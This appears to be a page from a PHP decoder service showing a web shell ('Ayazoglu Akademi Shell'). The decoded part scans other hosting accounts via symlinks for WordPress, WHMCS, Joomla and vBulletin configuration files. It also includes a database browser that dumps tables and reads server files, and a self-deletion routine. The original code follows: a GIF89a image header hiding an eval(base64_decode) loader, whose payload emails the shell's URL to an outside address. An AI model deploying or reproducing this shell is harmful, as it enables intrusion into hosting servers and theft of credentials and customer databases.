$IIIIIIIIl1ll=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/client/configuration.php\';
$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
$IIIIIIIIl11I=$IIIIIIIIl1l1[0];
$IIIIIIIIl11l=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/submitticket.php\';
$IIIIIIIIl111=get_headers($IIIIIIIIl11l);
$IIIIIIII1III=$IIIIIIIIl111[0];
$IIIIIIII1IIl=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/client/configuration.php\';
$IIIIIIII1II1=get_headers($IIIIIIII1IIl);
$IIIIIIII1IlI=$IIIIIIII1II1[0];
$IIIIIIII1Ill = strpos($IIIIIIIII11l,\'200\');
$IIIIIIII1I1I=\' \';
if (strpos($IIIIIIIII11l,\'200\') == true )
{
$IIIIIIII1I1I="<a href=\'".$IIIIIIIII1l1."\' target=\'_blank\'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIIl,\'200\') == true)
{
$IIIIIIII1I1I="<a href=\'".$IIIIIIIII111."\' target=\'_blank\'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIll,\'200\') == true and strpos($IIIIIIII1III,\'200\') == true )
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIl11l."\' target=\'_blank\'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl1lI,\'200\') == true)
{
$IIIIIIII1I1I =" <a href=\'".$IIIIIIIIl1I1."\' target=\'_blank\'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl11I,\'200\') == true)
{
$IIIIIIII1I1I =" <a href=\'".$IIIIIIIIl1ll."\' target=\'_blank\'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIlIll,\'200\') == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIlII1."\' target=\'_blank\'>Joomla</a>";
}
elseif (strpos($IIIIIIIIlI1l,\'200\') == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIlIl1."\' target=\'_blank\'>Joomla</a>";
}
elseif (strpos($IIIIIIIIllIl,\'200\') == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIlI11."\' target=\'_blank\'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIllll,\'200\') == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIllI1."\' target=\'_blank\'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIll1l,\'200\') == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIlll1."\' target=\'_blank\'>vBulletin</a>";
}
else
{
continue;
}
$IIIIIIII1I1l = $IIIIIIIII1I1[\'name\'] ;
echo \'<tr><td><a href=http://www.\'.$IIIIIIIIIl11[1][0].\'/>\'.$IIIIIIIIIl11[1][0].\'</a></td>
<td>\'.$IIIIIIII1I1I.\'</td></tr>\';flush();
}
}
}
}
echo "</center></table>";
}
echo "</div>";
madfooter();
}
function madsql()
{
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case \'mysql\':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case \'pgsql\':
$host = explode(\':\', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case \'mysql\':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case \'mysql\':
return $this->res = @mysql_query($str);
break;
case \'pgsql\':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case \'mysql\':
return @mysql_fetch_assoc($res);
break;
case \'pgsql\':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case \'mysql\':
return $this->query("SHOW databases");
break;
case \'pgsql\':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case \'mysql\':
return $this->res = $this->query(\'SHOW TABLES\');
break;
case \'pgsql\':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");
break;
}
return false;
}
function error() {
switch($this->type) {
case \'mysql\':
return @mysql_error();
break;
case \'pgsql\':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case \'mysql\':
if(function_exists(\'mysql_set_charset\'))
return @mysql_set_charset($str, $this->link);
else
$this->query(\'SET CHARSET \'.$str);
break;
case \'pgsql\':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case \'mysql\':
return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));
break;
case \'pgsql\':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i[\'file\'];
$this->query(\'drop table wso2\');
return array(\'file\'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case \'mysql\':
$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query(\'SELECT * FROM `\'.$table.\'`\');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "\'".@mysql_real_escape_string($v)."\'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES
(".implode(", ", $item).\')\';
$head = false;
} else
$sql = "
,(".implode(", ", $item).\')\';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case \'pgsql\':
$this->query(\'SELECT * FROM \'.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "\'".addslashes($v)."\'";
$columns[] = $k;
}
$sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST[\'type\']);
if(@$_POST[\'p2\']==\'download\') {
$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
$db->selectdb($_POST[\'sql_base\']);
switch($_POST[\'charset\']) {
case "Windows-1251": $db->setCharset(\'cp1251\'); break;
case "UTF-8": $db->setCharset(\'utf8\'); break;
case "KOI8-R": $db->setCharset(\'koi8r\'); break;
case "KOI8-U": $db->setCharset(\'koi8u\'); break;
case "cp866": $db->setCharset(\'cp866\'); break;
}
if(empty($_POST[\'file\'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST[\'tbl\'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST[\'file\'], \'w\')) {
foreach($_POST[\'tbl\'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST[\'p2\']);
} else
die(\'<script>alert("Error! Can\'t open file");window.history.back(-1)</script>\');
}
madhead();
echo "
<div class=header>
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>
<td><select name=\'type\'><option value=\'mysql\' ";
if(@$_POST[\'type\']==\'mysql\')echo \'selected\';
echo ">MySql</option><option value=\'pgsql\' ";
if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>
<td><input type=text name=sql_login value=\'". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>
<td><input type=text name=sql_pass value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";
$tmp = "<input type=text name=sql_base value=\'\'>";
if(isset($_POST[\'sql_host\'])){
if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
switch($_POST[\'charset\']) {
case "Windows-1251": $db->setCharset(\'cp1251\'); break;
case "UTF-8": $db->setCharset(\'utf8\'); break;
case "KOI8-R": $db->setCharset(\'koi8r\'); break;
case "KOI8-U": $db->setCharset(\'koi8u\'); break;
case "cp866": $db->setCharset(\'cp866\'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=\'\'></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
}
echo \'</select>\';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>
<td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db=\'".@addslashes($_POST[\'sql_base\'])."\';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value=\'\';
if(f.p2) f.p2.value=\'\';
if(f.p3) f.p3.value=\'\';
}
}
function st(t,l) {
d.sf.p1.value = \'select\';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)
d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST[\'sql_base\'])){
$db->selectdb($_POST[\'sql_base\']);
echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST[\'sql_count\']))
$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
$value = htmlspecialchars($value);
echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'> <a href=# onclick=\"st(\'".$value."\',1)\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\' \':" <small>({$n[\'n\']})</small>") . "</nobr><br>";
}
echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";
if(@$_POST[\'p1\'] == \'select\') {
$_POST[\'p1\'] = \'query\';
$_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;
$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);
$num = $db->fetch();
$pages = ceil($num[\'n\'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST[\'p2\'] . "\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";
echo " of $pages";
if($_POST[\'p3\'] > 1)
echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>< Prev</a>";
if($_POST[\'p3\'] < $pages)
echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next ></a>";
$_POST[\'p3\']--;
if($_POST[\'type\']==\'pgsql\')
$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
else
$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
echo "<br><br>";
}
if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {
$db->query(@$_POST[\'p2\']);
if($db->res !== false) {
$title = false;
echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo \'<tr>\';
foreach($item as $key => $value)
echo \'<th>\'.$key.\'</th>\';
reset($item);
$title=true;
echo \'</tr><tr>\';
$line = 2;
}
echo \'<tr class="l\'.$line.\'">\';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo \'<td><i>null</i></td>\';
else
echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
}
echo \'</tr>\';
}
echo \'</table>\';
} else {
echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
}
}
echo "<br></form><form onsubmit=\'d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";
if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))
echo htmlspecialchars($_POST[\'p2\']);
echo "</textarea><br/><input type=submit value=\'Execute\'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST[\'type\']==\'mysql\') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");
if($db->fetch())
echo "<form onsubmit=\'d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
}
if(@$_POST[\'p1\'] == \'loadfile\') {
$file = $db->loadFile($_POST[\'p2\']);
echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
}
} else {
echo htmlspecialchars($db->error());
}
echo \'</div>\';
madfooter();
}
function madselfrm()
{
if($_POST[\'p1\'] == \'yes\')
if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', \'C:\wamp\www\mss.php\')))
die(\'Shell has been removed\');
else
echo \'unlink error!\';
if($_POST[\'p1\'] != \'yes\')
madhead();
echo "<div class=header><pre class=ml1 style=\'margin-top:5px\'>";
echo "
/^\
_.-`: / \ :\'-._
,` : | | : \'.
,` \,| |,/ \'.
/ `-...-` \
: .\'. :
| . \' . |
| \' . \' |
: \'.\' :
\ ,-\'\'\'-, /
`. /\'| |\'\ ,\'
`._ ; | | ; _,\'
`-.: | | :,-\'
| |
| |
| |
| |
| |
";
echo \'<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
madFooter();
}
if( empty($_POST[\'a\']) )
if(isset($default_action) && function_exists(\'mad\' . $default_action))
$_POST[\'a\'] = $default_action;
else
$_POST[\'a\'] = \'FilesMan\';
if( !empty($_POST[\'a\']) && function_exists(\'mad\' . $_POST[\'a\']) )
call_user_func(\'mad\' . $_POST[\'a\']);
exit;
?>'
Did this file decode correctly?
Original Code
GIF89a1
<?php eval("?>".base64_decode("PD8gLyoqDQogKiBAYXV0aG9yIEF5YXpvZ2x1DQogKiBAY29weXJpZ2h0IDIwMTINCiAqLw0KQGRlZmluZSgnVkVSU0lPTicsJzEuMCcpOw0KQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzZXNzaW9uX3N0YXJ0KCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCiRob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIG1hZHN0cmlwc2xhc2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ21hZHN0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9QT1NUID0gbWFkc3RyaXBzbGFzaGVzKCRfUE9TVCk7DQp9DQokdXJpID0gJ2h0dHA6Ly8nLiRob3N0LicnLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicnOw0KaWYoISRfU0VTU0lPTlsncXdlcnR5J10pew0KZXZhbChiYXNlNjRfZGVjb2RlKCJRRzFoYVd3b0ltaGxlREZ1WjJkQVoyMWhhV3d1WTI5dElpd2lRV3RoWkdWdGFTQlRhR1ZzYkNJc0pIVnlhU2s3PT0iKSk7DQokX1NFU1NJT05bJ3F3ZXJ0eSddPTE7DQp9DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KaWYgKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpDQogICAgJHN5cz0nd2luJzsNCiBlbHNlDQogICAgJHN5cz0ndW5peCc7DQogICAgDQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ2MnXSkpDQoJQGNoZGlyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZigkc3lzID09ICd3aW4nKSANCnsNCiAgICAkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7DQoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7DQp9DQoNCmlmKCRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQogICAgDQogICAgDQpmdW5jdGlvbiBtYWRFeCgkaW4pIHsNCgkkb3V0ID0gJyc7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCUBleGVjKCRpbiwkb3V0KTsNCgkJJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAcGFzc3RocnUoJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBzeXN0ZW0oJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkkb3V0ID0gc2hlbGxfZXhlYygkaW4pOw0KCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCgkJJG91dCA9ICIiOw0KCQl3aGlsZSghQGZlb2YoJGYpKQ0KCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsNCgkJcGNsb3NlKCRmKTsNCgl9DQoJcmV0dXJuICRvdXQ7DQp9DQokZG93bj1AZ2V0Y3dkKCk7DQppZigkc3lzPT0id2luIikNCiRkb3duLj0nXFwnOw0KZWxzZQ0KJGRvd24uPScvJzsNCmlmKGlzc2V0KCRfUE9TVFsncnRkb3duJ10pKQ0Kew0KJHVybCA9ICRfUE9TVFsncnRkb3duJ107DQokbmV3Zm5hbWUgPSAkZG93bi4gYmFzZW5hbWUoJHVybCk7DQokZmlsZSA9IGZvcGVuICgkdXJsLCAicmIiKTsNCmlmICgkZmlsZSkgew0KICAkbmV3ZiA9IGZvcGVuICgkbmV3Zm5hbWUsICJ3YiIpOw0KICBpZiAoJG5ld2YpDQogIHdoaWxlKCFmZW9mKCRmaWxlKSkgew0KICAgIGZ3cml0ZSgkbmV3ZiwgZnJlYWQoJGZpbGUsIDEwMjQgKiA4ICksIDEwMjQgKiA4ICk7DQogIH0NCiAgfQ0KDQppZiAoJGZpbGUpIHsNCiAgZmNsb3NlKCRmaWxlKTsNCn0NCmlmICgkbmV3Zikgew0KICBmY2xvc2UoJG5ld2YpOw0KfQ0KfQ0KDQogICAgDQogDQogZnVuY3Rpb24gbWFkaGVhZCgpDQogew0KICAgIGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkNCgkJJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1snZGVmYXVsdF9jaGFyc2V0J107DQogDQokZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsgICAgICAgIA0KICAgIA0KJG9uPSI8Zm9udCBjb2xvcj0jMEYwPiBPTiA8L2ZvbnQ+IjsNCiRvZj0iPGZvbnQgY29sb3I9cmVkPiBPRkYgPC9mb250PiI7DQokbm9uZT0iPGZvbnQgY29sb3I9IzBGMD4gTk9ORSA8L2ZvbnQ+IjsgICANCmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpDQogICAgJGN1cmw9JG9uOw0KZWxzZQ0KICAgICRjdXJsPSRvZjsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpDQogICAgJG15c3FsPSRvbjsNCiBlbHNlDQogICAgJG15c3FsPSRvZjsgICAgICANCmlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQ0KICAgICRtc3NxbD0kb247DQplbHNlDQogICAkbXNzcWw9JG9mOyANCgkJDQppZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkNCiAgICAkcGc9JG9uOw0KZWxzZQ0KICAgJHBnPSRvZjsgICAgCQkNCmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCiAgICRvcj0kb247DQplbHNlDQogICAkb3I9JG9mOw0KaWYoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpDQogICRkaXNmdW49QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQplbHNlDQokZGlzZnVuPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7DQppZihAaW5pX2dldCgnc2FmZV9tb2RlJykpDQokc2FmZV9tb2Rlcz0iPGZvbnQgY29sb3I9cmVkPk9OPC9mb250PiI7DQplbHNlDQokc2FmZV9tb2Rlcz0iPGZvbnQgY29sb3I9IzBGMCA+T0ZGPC9mb250PiI7DQppZihAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpDQokb3Blbl9iPUBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKTsNCiAgICBlbHNlDQogICRvcGVuX2I9JG5vbmU7DQogICAgDQoNCmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkNCiRzYWZlX2V4ZT1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJyk7DQogICAgZWxzZQ0KJHNhZmVfZXhlPSRub25lOw0KaWYoQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKQ0KICAgJHNhZmVfaW5jbHVkZT1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJyk7IA0KZWxzZQ0KICRzYWZlX2luY2x1ZGU9JG5vbmU7DQppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIA0Kew0KCQkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7DQoJCSR1aWQgPSBAZ2V0bXl1aWQoKTsNCgkJJGdpZCA9IEBnZXRteWdpZCgpOw0KCQkkZ3JvdXAgPSAiPyI7DQp9IGVsc2UgDQp7DQoJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsNCgkJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOw0KCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsNCgkJJHVpZCA9ICR1aWRbJ3VpZCddOw0KCQkkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQoJCSRnaWQgPSAkZ2lkWydnaWQnXTsNCgl9DQoNCg0KICAgICAkY3dkX2xpbmtzID0gJyc7DQoJJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jb3VudCgkcGF0aCk7DQoJZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsNCgkJJGN3ZF9saW5rcyAuPSAiPGEgIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KJGRyaXZlcyA9ICIiOw0KZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpDQppZihpc19kaXIoJGRyaXZlLic6XFwnKSkNCiRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsNCg0KDQoNCg0KDQogZWNobyAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjxsaW5rIGhyZWY9Imh0dHA6Ly93d3cuYXlhem9nbHUub3JnL2Zhdmljb24uaWNvIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIvPg0KPHRpdGxlPkF5YXpvZ2x1IEFrYWRlbWkgU2hlbGwgdjEuMjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KLndob2xlIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjQ0NDOw0KCWhlaWdodDphdXRvOw0KCXdpZHRoOiBhdXRvOw0KCW1hcmdpbi10b3A6IDEwcHg7DQoJbWFyZ2luLXJpZ2h0OiAxMHB4Ow0KCW1hcmdpbi1sZWZ0OiAxMHB4Ow0KfQ0KLmhlYWRlciB7DQoJaGVpZ2h0OiBhdXRvOw0KCXdpZHRoOiBhdXRvOw0KCWJvcmRlcjogN3B4IHNvbGlkICNDQ0M7DQoJY29sb3I6ICM5OTk7DQoJZm9udC1zaXplOiAxMnB4Ow0KCWZvbnQtZmFtaWx5OiBWZXJkYW5hLCBHZW5ldmEsIHNhbnMtc2VyaWY7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCn0NCi5oZWFkZXIgYSB7Y29sb3I6IzBGMDsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0Kc3BhbiB7DQoJZm9udC13ZWlnaHQ6IGJvbGRlcjsNCgljb2xvcjogI0ZGRjsNCn0NCiNtZXVubGlzdCB7DQoJZm9udC1mYW1pbHk6IFZlcmRhbmEsIEdlbmV2YSwgc2Fucy1zZXJpZjsNCgljb2xvcjogI0ZGRjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOw0KCXdpZHRoOiBhdXRvOw0KCWJvcmRlci1yaWdodC13aWR0aDogN3B4Ow0KCWJvcmRlci1sZWZ0LXdpZHRoOiA3cHg7DQoJYm9yZGVyLXRvcC1zdHlsZTogc29saWQ7DQoJYm9yZGVyLXJpZ2h0LXN0eWxlOiBzb2xpZDsNCglib3JkZXItYm90dG9tLXN0eWxlOiBzb2xpZDsNCglib3JkZXItbGVmdC1zdHlsZTogc29saWQ7DQoJYm9yZGVyLXRvcC1jb2xvcjogI0NDQzsNCglib3JkZXItcmlnaHQtY29sb3I6ICNDQ0M7DQoJYm9yZG